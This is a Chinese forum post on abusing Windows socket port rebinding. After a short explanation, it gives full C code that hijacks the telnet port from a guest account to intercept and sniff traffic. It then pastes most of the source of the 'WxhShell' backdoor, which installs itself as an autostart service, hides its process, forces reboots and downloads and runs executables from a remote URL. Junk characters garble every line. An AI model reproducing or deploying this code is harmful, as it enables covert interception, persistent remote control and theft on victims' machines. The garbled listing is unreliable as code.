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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +reor@h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v@wb"jdFi$  
=e8bNg  
  saddr.sin_family = AF_INET; X`fn8~5  
4E+hRKuo,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~_s{0g]B  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ei6AV1| p  
2 ho>eRX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )=-0M9e.{  
kdn'6>\  
  这意味着什么?意味着可以进行如下的攻击: Dgx8\~(E'  
xY$iz)^0&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y}[c^$S  
2KQoy;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <D::9c j  
n_B"- n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 La@ +>  
8X I?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P(;?kg}0  
VwEb7v,^0\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P0$e~=Q^4  
"3<da*D1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JR@.R ,rII  
$DZHQH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =b[_@zq]  
l27\diKPJ  
  #include ?X5]i#j[  
  #include jZ%TJ0(H  
  #include w=}uwvn NX  
  #include    ]q6;#EUr?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e{KByFl  
  int main() LC})ciWa  
  { +z9gbcx  
  WORD wVersionRequested; 9W8]8sUeG  
  DWORD ret; $z$u{  
  WSADATA wsaData; $-&BB(-{E&  
  BOOL val; I(S)n+E  
  SOCKADDR_IN saddr; >+mD$:L  
  SOCKADDR_IN scaddr; Qjnd6uv{I  
  int err; k2xHH$+{#=  
  SOCKET s; 'oN\hy($,h  
  SOCKET sc; dV Q-k  
  int caddsize; 1pCieTz!PN  
  HANDLE mt; 6O@J7P  
  DWORD tid;   kEO7PK/  
  wVersionRequested = MAKEWORD( 2, 2 ); 0[F:'_  
  err = WSAStartup( wVersionRequested, &wsaData ); rS0DSGDq  
  if ( err != 0 ) { VqE~c  
  printf("error!WSAStartup failed!\n"); } %'bullT  
  return -1; .^bft P\  
  } 5qf BEPJ  
  saddr.sin_family = AF_INET; 87WBM;$&s  
   Sggq3l$Qc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (Z}>1WRju  
@VN&t:/l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O8] 'o*<]  
  saddr.sin_port = htons(23); 2Sq_Tw3^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J>^\oAgpE  
  { w0ZLcND{  
  printf("error!socket failed!\n"); ~w</!s  
  return -1; +p8BGNW,  
  } ZvGgmLN  
  val = TRUE; KvQ,;A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gd+ET  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9]'($:LF08  
  { ^>?CMcN4*  
  printf("error!setsockopt failed!\n"); ~Z ~v  
  return -1; Wy]^Ub gW  
  } z5*=MlZ)R.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6r"u$i` o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B$KwkhMe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `O^G5 0  
=TP( UJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]0B|V2D#e  
  { Gq#~vr  
  ret=GetLastError(); )c/Fasfg[P  
  printf("error!bind failed!\n"); mfny4R1_  
  return -1; I =Wc&1g  
  } <P%}|@  
  listen(s,2); /$"[k2 N  
  while(1) }]UB;id'  
  { i77GE  
  caddsize = sizeof(scaddr); %b?$@H-Re  
  //接受连接请求 A\Txb_x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +]:2\TTGI  
  if(sc!=INVALID_SOCKET) @OV-KT[>  
  { 2eQdQwX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ":Edu,6O  
  if(mt==NULL) .w6eJ4 ]  
  { 2h {q h  
  printf("Thread Creat Failed!\n"); :`vP}I ^  
  break; iO1nwl !#  
  } Ap\AP{S4  
  } ~F, &GH  
  CloseHandle(mt); "()sb?&  
  } %ICglF R  
  closesocket(s); S06Hs~>Y  
  WSACleanup(); L3(^{W]|  
  return 0; t>UkE9=3\  
  }   w-N1.^  
  DWORD WINAPI ClientThread(LPVOID lpParam) eyw'7  
  { bzmr"/#D3  
  SOCKET ss = (SOCKET)lpParam; fvo<(c#Y#  
  SOCKET sc; S(eQ{rSs  
  unsigned char buf[4096]; O,V9R rG  
  SOCKADDR_IN saddr; `BZ&~vJ_  
  long num; E^ h=!RW{  
  DWORD val; K7vw3UwGN  
  DWORD ret; cm>E[SHr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nw'-`*'rj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u>T76,8|\  
  saddr.sin_family = AF_INET; GtI6[ :1t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t]_S  
  saddr.sin_port = htons(23); 6a}r( yP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,i`h x, Rg  
  { IvBGpT"(I  
  printf("error!socket failed!\n"); wod/&!)]A  
  return -1; ;\)=f6N  
  } +`| *s3M  
  val = 100; f_r0})  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \x\.  
  { ]= x 1`j  
  ret = GetLastError(); @6xGJ,s  
  return -1; !)H*r|*[  
  } \%_ZV9cKF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M StX*Zw  
  { j64 4V|z  
  ret = GetLastError(); ?AsDk~3  
  return -1; Q^h5">P  
  } Z(!pYhLq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H*!5e0~rR  
  { iK}v`xq  
  printf("error!socket connect failed!\n"); *=nO  
  closesocket(sc); Q)6va}2ai  
  closesocket(ss); w6,*9(;$Pk  
  return -1; 71iRG*O  
  } 03E3cp"  
  while(1) N~#D\X^t.  
  { U~QMR-bz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _`aR_ %Gx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i!~>\r\6\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5Hle-FDn9  
  num = recv(ss,buf,4096,0); ?V+wjw  
  if(num>0) %-^}45](q  
  send(sc,buf,num,0); ep?:;98|t  
  else if(num==0) zA{8C];~  
  break; 6F5,3&  
  num = recv(sc,buf,4096,0); m "]!I~jd  
  if(num>0) NWISS  
  send(ss,buf,num,0); 46ChMTt  
  else if(num==0) b>=7B6 Aw  
  break; M.k|bh8  
  } Jr?!Mh-  
  closesocket(ss); [:pl-_.C  
  closesocket(sc); 6UB6;-  
  return 0 ; SKx e3  
  } <JH9StGGc?  
!fZLQc  
C9Wojo.  
========================================================== OX)BP.h#  
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下边附上一个代码,,WXhSHELL s"rg_FoL  
ohTd'+Lm  
========================================================== .nPL2zO  
XW:%vJu^`  
#include "stdafx.h" x~(y "^ph  
{9{J^@@  
#include <stdio.h> 7<4xtK`+b  
#include <string.h> - #Jj-t_Fe  
#include <windows.h> ~bFdJj 1*  
#include <winsock2.h> pg5&=  
#include <winsvc.h> !3?~#e{_  
#include <urlmon.h> cP('@K=p  
b\M b*o  
#pragma comment (lib, "Ws2_32.lib") cS 4T\{B;  
#pragma comment (lib, "urlmon.lib") m|`VJ 0  
P09,P  
#define MAX_USER   100 // 最大客户端连接数 Xiw@  
#define BUF_SOCK   200 // sock buffer 64b<0;~  
#define KEY_BUFF   255 // 输入 buffer ze$Y=<S  
hJ4S3b  
#define REBOOT     0   // 重启 ip674'bq7R  
#define SHUTDOWN   1   // 关机 (6o:4|xl0  
E6JV}`hSk  
#define DEF_PORT   5000 // 监听端口 .CvFE~  
)ZeLaaP  
#define REG_LEN     16   // 注册表键长度 YkVRl [  
#define SVC_LEN     80   // NT服务名长度 m/KjJ"s,  
,.q8Xf  
// 从dll定义API J[MVE4&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M(NH9EE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 67fIIXk&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #9INX`s-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %/X2 l  
!b'IfDp[-!  
// wxhshell配置信息 %db3f z  
struct WSCFG { Qz# 3p3N?  
  int ws_port;         // 监听端口 2>ys2:z  
  char ws_passstr[REG_LEN]; // 口令 -S7RRh'p  
  int ws_autoins;       // 安装标记, 1=yes 0=no h k/+  
  char ws_regname[REG_LEN]; // 注册表键名 we }#Ru*  
  char ws_svcname[REG_LEN]; // 服务名 d`UF0T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #*+;B93 )  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \A ;^ UxG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x}_rnf_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S'|lU@P Cl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rnz8 f}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zv`zsqDJ  
xP42xv9U  
}; {a[&#Uv  
PVZEB  
// default Wxhshell configuration @h!U  
struct WSCFG wscfg={DEF_PORT,  )Kxs@F  
    "xuhuanlingzhe", *>G ^!e.u  
    1, =z+-l5Gu"  
    "Wxhshell", sw[<VsxjR  
    "Wxhshell", Zp^)_ 0  
            "WxhShell Service", G,+xT}@wu  
    "Wrsky Windows CmdShell Service", P Q6T| >  
    "Please Input Your Password: ", "sdcP8])d  
  1, nR(#F9  
  "http://www.wrsky.com/wxhshell.exe", mi*:S%;h  
  "Wxhshell.exe" Ml'bZLwq  
    }; ?Ozk^#H[  
jM{qRfOrg  
// 消息定义模块 B8`R(vu;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6-D%)Z(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; muW`pm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `MN&(!&C*  
char *msg_ws_ext="\n\rExit."; ]}jgB 2x7  
char *msg_ws_end="\n\rQuit."; GjG{qR  
char *msg_ws_boot="\n\rReboot..."; ?psOj%  
char *msg_ws_poff="\n\rShutdown..."; W ]a7&S  
char *msg_ws_down="\n\rSave to "; Sn;/;^@(\  
L%TxP6z4A  
char *msg_ws_err="\n\rErr!"; AaJ,=eQ  
char *msg_ws_ok="\n\rOK!"; [GcA.ABz  
WiPM <'  
char ExeFile[MAX_PATH]; ;}UIj{sj*  
int nUser = 0; 3(oZZz  
HANDLE handles[MAX_USER]; I8E\'`:<  
int OsIsNt; 2<`gs(oxXe  
JS<e`#c&  
SERVICE_STATUS       serviceStatus; AJJ%gxqGq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; | 7t=\  
)Mm;9UA  
// 函数声明  r*~n`  
int Install(void); n_e}>1_  
int Uninstall(void); ymzPJ??!  
int DownloadFile(char *sURL, SOCKET wsh); 3j[w -Lfp  
int Boot(int flag); G_7ks]u-  
void HideProc(void); Z&?+&q r^  
int GetOsVer(void); 4]|9!=\  
int Wxhshell(SOCKET wsl); vV$hGS(f~  
void TalkWithClient(void *cs); +35)=Uov  
int CmdShell(SOCKET sock); ,_wm,  
int StartFromService(void); W(]E04  
int StartWxhshell(LPSTR lpCmdLine); +73=2.C0  
YUP%K!k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ty e$na&$}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0|K/=dh5+  
UIm[DYMS  
// 数据结构和表定义 EL2hD$  
SERVICE_TABLE_ENTRY DispatchTable[] = 2Be?5+  
{ ~%8Q75tn.  
{wscfg.ws_svcname, NTServiceMain}, H L}sqcp  
{NULL, NULL} o[Wagg.%  
}; G{&yzHAuae  
Mo?t[]L   
// 自我安装 6x (L&>F  
int Install(void) xqi*N13  
{  01UR  
  char svExeFile[MAX_PATH]; Tvksf!ba  
  HKEY key; #*7/05)  
  strcpy(svExeFile,ExeFile); $jUS[.S_|I  
R|Q_W X  
// 如果是win9x系统,修改注册表设为自启动 :DJ7d  
if(!OsIsNt) { 9$\;voo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vS24;:f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *]E7}bqb  
  RegCloseKey(key); #$vhC u<I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &[2Ej|o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |)72E[lL  
  RegCloseKey(key); yBD2  
  return 0; =p&'_a^$  
    } zb~MF_&gE  
  } Kt!IyIa;Ht  
} #.<F5  
else { sP3.s_U^  
_w5~/PbWt  
// 如果是NT以上系统,安装为系统服务 Kn!0S<ssR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZR01<V  
if (schSCManager!=0) R6WgA@Z|r  
{ ,Dii?P  
  SC_HANDLE schService = CreateService 0Z) ;.l^  
  ( ~&j`9jdOj  
  schSCManager, mZ0oa-Iy  
  wscfg.ws_svcname, ,p/b$d1p  
  wscfg.ws_svcdisp, cf[u%{ 6Y  
  SERVICE_ALL_ACCESS, QSs$   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F#}1{$)% /  
  SERVICE_AUTO_START, J PzQBc5e  
  SERVICE_ERROR_NORMAL, T m@1q!G  
  svExeFile, E][{RTs  
  NULL, VgZaDd;  
  NULL, PqJ*   
  NULL, M6hvi(!X2  
  NULL, 8$<AxNR  
  NULL yL3<X w|  
  ); 6 XOu~+7  
  if (schService!=0) noUZ9M|hz  
  { R$;&O. 5M  
  CloseServiceHandle(schService); Rn~Xu)@e  
  CloseServiceHandle(schSCManager); 5 *pN<S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r?yJ  
  strcat(svExeFile,wscfg.ws_svcname); ?.Yw%{?TG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %M,d/4=P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \`p~b(  
  RegCloseKey(key); GWqY$YT  
  return 0; LI|HET_  
    } yDyeP{  
  } h. (;GJO  
  CloseServiceHandle(schSCManager); ocuVDC  
} &P{p\v2Y  
} aCi^^}!  
7@cvy? v{  
return 1; u r.T YKF  
} rD U6 5j  
+j: Ld(  
// 自我卸载 _t;VE06Xjs  
int Uninstall(void) V =aoB Z  
{ Y7V&zF{  
  HKEY key; Nx (pJp{S  
vgW1hWmHJ  
if(!OsIsNt) { &|\}\+0Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I.0P7eA-  
  RegDeleteValue(key,wscfg.ws_regname); ;$L!`"jn  
  RegCloseKey(key); ;ld~21#m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zcWxyLifl0  
  RegDeleteValue(key,wscfg.ws_regname); U4L=3T+:[  
  RegCloseKey(key); xOyL2   
  return 0; P5xmLefng  
  } 3pv1L~ ZI  
} MVv^KezD  
} M Hyl=5  
else { O#5( U. E  
y^46z( I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z(X6%p0  
if (schSCManager!=0) A}Dpw[Q2@8  
{ UR2)e{RXg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T_%]#M  
  if (schService!=0) \Y[)bo6s  
  { ;GT)sI   
  if(DeleteService(schService)!=0) { (<JDD]J  
  CloseServiceHandle(schService); dsZ ( D:)  
  CloseServiceHandle(schSCManager); 4"(zi5`e  
  return 0; ;/q6^Nk3A  
  } rPpAg  
  CloseServiceHandle(schService); GFa/9Bi  
  } AX RNV  
  CloseServiceHandle(schSCManager); \\Tp40m+  
} Rs[]i;  
} FF!g9>  
R,+(JgJ  
return 1; W*`6ero  
} Iw7r}G  
OT3;qT*fw  
// 从指定url下载文件 *Y0,d`  
int DownloadFile(char *sURL, SOCKET wsh) Bic { H  
{ &it/@8yH  
  HRESULT hr; 9,eR=M]+:  
char seps[]= "/"; FN EmGz/4  
char *token; jUSr t)o03  
char *file; Ka\b_P&  
char myURL[MAX_PATH]; -Ep6 .v  
char myFILE[MAX_PATH]; }c5`~ LLK  
:]Qx T8B  
strcpy(myURL,sURL); JW'acD  
  token=strtok(myURL,seps); a\_,_psK  
  while(token!=NULL) 7e[\0:Z  
  { yLOLv6g~e  
    file=token; U/o}{,$A  
  token=strtok(NULL,seps);  yE,o~O  
  } XO~^*[K  
!PIdw~YC  
GetCurrentDirectory(MAX_PATH,myFILE); 9W$)W  
strcat(myFILE, "\\"); (k&aD2PH  
strcat(myFILE, file); -V<"Ay  
  send(wsh,myFILE,strlen(myFILE),0); Vnb#N4vR  
send(wsh,"...",3,0); uwA3!5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3y,?>-  
  if(hr==S_OK) RhmVHhj  
return 0; k"{U}Y/}  
else {?hjx+v[  
return 1; 6E]rxps}"  
zAUfd[g  
} uK5x[m  
'Sh5W%NM  
// 系统电源模块 h cXqg  
int Boot(int flag) LWV`xCr8R  
{ 1hij4m$b  
  HANDLE hToken; ht9b=1wd%s  
  TOKEN_PRIVILEGES tkp; &_j4q  
B4aZ3.&W  
  if(OsIsNt) {  64fG,b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0{F.DDiNT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qr6jn14.c  
    tkp.PrivilegeCount = 1; 9To6Rc;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Fws]y2t~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >`'9V| 1  
if(flag==REBOOT) { cC.DBYV+-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) idy:Jei}  
  return 0; T 1=M6iJ  
}  <@u6*]  
else { e_TDO   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =w-H )  
  return 0; PK" C+o;:  
} Uw"   
  } n4johV.#  
  else { za7wNe(s  
if(flag==REBOOT) { PAkW[;GSDh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LKcrr;  
  return 0; {'!~j!1'j  
} ny=iAZM>q  
else { )A%Y wI$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T*m21<  
  return 0; 9"S3AEI  
} ?*,q#ZkA9W  
} ?9+;[X  
vaL-Mi(_  
return 1; { SV$fl;  
} iQF93:#  
 >pKI'  
// win9x进程隐藏模块 \m&:J >^  
void HideProc(void) D#0}/  
{ ? t-2oLE  
TL>e[ PBO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G1rgp>m  
  if ( hKernel != NULL ) #'qW?8d}  
  { R<-KXT9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pN[i%\vh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +Ji dP  
    FreeLibrary(hKernel);  BeQJ/`  
  } n" sGI  
bTj,5,8 i  
return; ScEM#9T|  
} Wxjpe4  
lI9 3{!+>  
// 获取操作系统版本 F>OYZOC]  
int GetOsVer(void) $\H>dm  
{ qp Z ".  
  OSVERSIONINFO winfo; [{YV<kN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Uu ,Re  
  GetVersionEx(&winfo); Z,*VRuA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3iB8QO;pp  
  return 1; =$MV3]  
  else a`}-^;}SW  
  return 0; \a<E3 <  
} 0/c4%+ Ln  
$/Mk.(3'P  
// 客户端句柄模块 !*p lK6a  
int Wxhshell(SOCKET wsl) QFMS]  
{ X:YxsZQ 5Y  
  SOCKET wsh; fYwumx`J  
  struct sockaddr_in client; LTxOq|/Cq  
  DWORD myID; c8(.bmvF  
epQ7@9,Q  
  while(nUser<MAX_USER) s;bqUY?LD  
{ >6Q-e$GS@  
  int nSize=sizeof(client); K~uoZ~_gA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [.2>=3T  
  if(wsh==INVALID_SOCKET) return 1; mV-MJ$3r  
6uDNqq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \eN}V  
if(handles[nUser]==0) ;lGjj9we>  
  closesocket(wsh); &`@K/Nf$9  
else zDX-}t_'q  
  nUser++; 'INdZ8j_  
  } wuPx6hCl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VQ +Xh  
)F:hv[iv  
  return 0; j &~OR6  
} %GJ, &b|  
h 9No'!'!  
// 关闭 socket 9T)-|fja_  
void CloseIt(SOCKET wsh) Kpg]b"9.R  
{ >XB Lm`a  
closesocket(wsh); K?) &8S  
nUser--; +g(QF   
ExitThread(0); }=NjFK_6  
} O>UR\l|+:2  
<Dl7|M  
// 客户端请求句柄 nT:ZSJWM  
void TalkWithClient(void *cs) O0e6I&u :  
{ SwLul4V  
KATt9ox@  
  SOCKET wsh=(SOCKET)cs; TwY]c<t  
  char pwd[SVC_LEN]; 4~D?F'o  
  char cmd[KEY_BUFF]; d&F8nBIM5  
char chr[1]; ~i(X{ ^,3  
int i,j; ~qs 97'  
TC'tui  
  while (nUser < MAX_USER) { Q 1g@FsW&U  
M*|x,K=U  
if(wscfg.ws_passstr) { WJ8i,7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'RXh E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i&RPY bT{  
  //ZeroMemory(pwd,KEY_BUFF); K^EW*6vB8O  
      i=0; Ao(Xz$cQfW  
  while(i<SVC_LEN) { YHl6M&*@  
OQA}+XO  
  // 设置超时 Fe}Dnv)}Z  
  fd_set FdRead; (z\@T`6`  
  struct timeval TimeOut; %+qD-{&  
  FD_ZERO(&FdRead); "d9"Md0k  
  FD_SET(wsh,&FdRead); LJ9^:U  
  TimeOut.tv_sec=8; XB zcbS+  
  TimeOut.tv_usec=0; .cjSgK1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z.--"cF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z%k)'%_   
V|)3l7IC<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lo Oh }y+  
  pwd=chr[0]; }O-|b#Q  
  if(chr[0]==0xd || chr[0]==0xa) { K08xiMjl  
  pwd=0; hIE$ut +  
  break; O)n"a\LD  
  } K} LmU{/t/  
  i++; h@&& .S`B  
    } x[zt(kC0+  
e<#t]V  
  // 如果是非法用户,关闭 socket unKi)v1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zuwlVn  
} *F[@lY\p  
@lRTp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); },lHa!<^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UiO%y  
{26/SY  
while(1) { n=qN@u;Fi#  
kr[p4X4  
  ZeroMemory(cmd,KEY_BUFF); ErnjIx:  
MOi.bHCQJP  
      // 自动支持客户端 telnet标准   ge %ytrst  
  j=0; ya.!zGH  
  while(j<KEY_BUFF) { 78T9"CS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ji9 (!G  
  cmd[j]=chr[0]; r)E9]"TAB  
  if(chr[0]==0xa || chr[0]==0xd) { fyaiRn9/  
  cmd[j]=0; /%fBkA#n  
  break; o."k7fLB  
  } D+.< kY.  
  j++; 2[-@ .gH  
    } : .Y  
[;~:',vHQf  
  // 下载文件 ?tx%K U\3  
  if(strstr(cmd,"http://")) { )IQ5Qu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5G  @  
  if(DownloadFile(cmd,wsh)) sF-{ (  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F<H[-k*t/  
  else jd ]$U_U(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _sLSl; /t  
  } q=Xda0c  
  else { ~0/tU#&  
EC#4"bU`'2  
    switch(cmd[0]) { uzG{jc^  
  max 5s$@  
  // 帮助 dAg<BK/  
  case '?': { Y%$@ZYW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b~$B 0o)  
    break; Qg9*mlm`  
  } (h&XtFul}  
  // 安装 Tx)!qpZ  
  case 'i': { 5~8FZ-x  
    if(Install()) (p6$Vgdt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0'm$hU}  
    else B8=r^!jEL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,^Ug[pGG-  
    break; [te9ui%JS  
    } HgVPyo  
  // 卸载 ^lw0} i  
  case 'r': { ?so=k&I-M  
    if(Uninstall()) 7tZvz `\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Tr5M o  
    else /kZ{+4M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mHj3ItXUu  
    break; +O]jklS4H  
    } -9D2aY_>  
  // 显示 wxhshell 所在路径 <q}w,XU  
  case 'p': { Uj/m  
    char svExeFile[MAX_PATH]; 8?yRa{'"  
    strcpy(svExeFile,"\n\r"); bh Nqj  
      strcat(svExeFile,ExeFile); V?[dg^*0  
        send(wsh,svExeFile,strlen(svExeFile),0); mQ$a^28=qR  
    break; 0aWy!d  
    } th :I31  
  // 重启 4Y'Kjx  
  case 'b': { %@q/OVnM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  UZ*Yt  
    if(Boot(REBOOT)) ezz;NH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B8G9V6KS-  
    else { 178u4$# b  
    closesocket(wsh); >du _/*8:  
    ExitThread(0); =!R+0  
    } M~!DQ1u  
    break; 5eL_iNqJM  
    } %C1*`"Jb&  
  // 关机 q8=hUD%5C  
  case 'd': { RJ63"F $  
